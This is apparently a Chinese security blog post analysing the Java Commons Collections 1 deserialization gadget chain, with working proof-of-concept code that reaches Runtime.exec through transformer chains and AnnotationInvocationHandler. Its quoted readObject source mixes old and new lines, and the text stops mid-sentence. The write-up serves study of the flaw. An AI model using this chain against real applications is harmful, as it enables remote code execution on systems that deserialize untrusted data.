1. 程式人生 > >Java安全之Commons Collections1分析(二)

Java安全之Commons Collections1分析(二)

# Java安全之Commons Collections1分析(二) ## 0x00 前言 續上篇文,繼續除錯cc鏈。在上篇文章除錯的cc鏈其實並不是一個完整的鏈。只是使用了幾個方法的的互相呼叫彈出一個計算器。 [Java安全之Commons Collections1分析(一)](https://www.cnblogs.com/nice0e3/p/13779857.html) 下面來貼出他的完整的一個呼叫鏈 ``` Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ``` ## 0x01 LazyMap 在分析前先來看看`LazyMap`這個類,這個類和`TransformedMap`類似。都是`AbstractMapDecorator`繼承抽象類是`Apache Commons Collections`提供的一個類。在兩個類不同點在於`TransformedMap`是在`put`方法去觸發`transform`方法,而`LazyMap`是在`get`方法去呼叫方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201010121654596-17070429.png) 當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法。 修改一下poc,使用LazyMap的get方法來觸發命令執行試試。 ``` public static void main(String[] args) throws Exception { //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //將transformers陣列存入ChaniedTransformer這個繼承類 Transformer transformerChain = new ChainedTransformer(transformers); //建立Map並繫結transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); Map tmpmap = LazyMap.decorate(innerMap, transformerChain); tmpmap.get("1"); } ``` 這樣也是可以成功的去執行命令。 ## 0x02 AnnotationInvocationHandler 網上查詢資料發現AnnotationInvocationHandler該類是用來處理註解的。 AnnotationInvocationHandler類的建構函式有兩個引數,第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201010121707113-885534383.png) 在JDK裡面,所有的註解型別都繼承自這個普通的介面(Annotation)。 檢視它的readObject⽅法 ``` private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); ObjectInputStream.GetField fields = s.readFields(); @SuppressWarnings("unchecked") Class t = (Class)fields.get("type", null); @SuppressWarnings("unchecked") Map streamVals = (Map)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map> memberTypes = annotationType.memberTypes(); // consistent with runtime Map type Map mv = new LinkedHashMap<>(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry memberValue : memberValues.entrySet()) { // for (Map.Entry memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); Object value = null; Class memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value = new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); annotationType.members().get(name)); } } mv.put(name, value); } UnsafeAccessor.setType(this, t); UnsafeAccessor.setMemberValues(this, mv); } ``` 使用反射呼叫`AnnotationInvocationHandler`並傳入引數,這裡傳入一個`Retention.class`,和`outerMap`。 `Retention`是一個註解類。`outerMap`是我們`TransformedMap`修飾過的類。 這麼這時候在 `AnnotationInvocationHandler`的`readObject`方法裡面 `memberValues`就是我們使用反射傳入的 `TransformedMap`的物件。 ``` Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ``` 這⾥遍歷了它的所有元素,並依次設定值。在調⽤`setValue`設定值的時候就會觸發`TransformedMap`⾥的 `Transform`,從而進入導致命令的執行。 ### 0x03 POC分析 ```Java public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } } ``` 這裡可以看到 在`Transformer[]`數組裡面儲存的是一個`Runtime.class`,而不是`Runtime`物件。這是因為`Runtime`並沒有實現`java.io.Serializable` 接⼝的 。是不可被序列化的。而`Runtime.class`是屬於`java.lang.Class` 。`java.lang.Class` 是實現了`java.io.Serializable` 接⼝的。可以被序列化。 把這行程式碼序列化後,在後面的反序列化中並沒有去執行到命令。因為物理機的JDK版本較高,在高版本中的`AnnotationInvocationHandler`的`readObject`是被改動過的 。 從而並沒有到達命令執行的目的,但是在低版本中的JDK是可以執行的。 ## 0x04 參考文章 ``` P牛的JAVA安全漫談系列 https://xz.aliyun.com/t/7031#toc-2 https://www.cnblogs.com/litlife/p/12571787.html https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ ``` ## 0X05 結尾 在分析該cc鏈時,總是從懵逼到頓悟到再懵逼,反反覆覆。在中途腦子也是一團糟。其實到這裡CC鏈的除錯也並沒有結束,本文只是一點基礎知識,為下篇文做